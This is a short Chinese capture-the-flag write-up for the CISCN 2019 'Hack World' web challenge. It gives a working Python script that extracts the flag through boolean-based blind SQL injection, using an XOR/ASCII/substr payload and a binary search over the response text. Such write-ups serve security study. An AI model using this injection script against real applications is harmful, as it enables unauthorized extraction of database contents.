[CISCN2019 华北赛区 Day2 Web1] web题-Hack World

复现环境:buuoj.cn

输入0：Error Occured When Fetch Result.
输入1：Hello, glzjin wants a girlfriend.
输入2：Do you want to be my girlfriend?
输入3：Error Occured When Fetch Result.

题目提示信息说表名和字段名都是flag，给出id就能得到flag

脚本如下

import requests
import time
import re
url=''
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(1)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max=s
        else:
            min=s
        if((max-min)<=1):
            flag+=chr(max)
            break
print(flag)
#填写自己环境的url